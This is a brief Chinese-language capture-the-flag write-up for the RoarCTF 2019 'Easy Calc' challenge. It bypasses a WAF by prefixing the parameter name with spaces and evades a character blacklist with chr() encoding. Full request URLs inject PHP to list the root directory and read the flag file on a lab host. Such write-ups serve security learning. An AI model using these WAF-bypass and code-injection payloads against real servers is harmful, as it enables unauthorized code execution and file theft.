[RoarCTF 2019]Easy Calc
wp from Kuller_Yan
waf和php的解码规则不同,waf不能上传字母,但是如果在前面加上空格,就可以进行绕过,然后再php解码的时候空格不影响。
首先启动靶机,查看到页面,尝试sql注入无果,观看源代码,发现calc.php访问之后出现一段php代码
可以看到黑名单过滤了一些字符,其中与本题相关的比较重要的就是过滤了‘/’但是我们可以用ASCII码的chr(47)代替。
先使用scandir(chr(47))查询目录下所有文件
num前面加上空格
http://node3.buuoj.cn:26806/calc.php?%20%20num=var_dump(scandir(chr(47)))
然后我们可以找到其中有个f1agg
然后使用file_get_contents函数将f1agg文件转换为字符串,并且用var_dump进行输出。
### 注意:f1agg用ASCII码转换之后再用
view-source:http://node3.buuoj.cn:26806/calc.php?%20%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))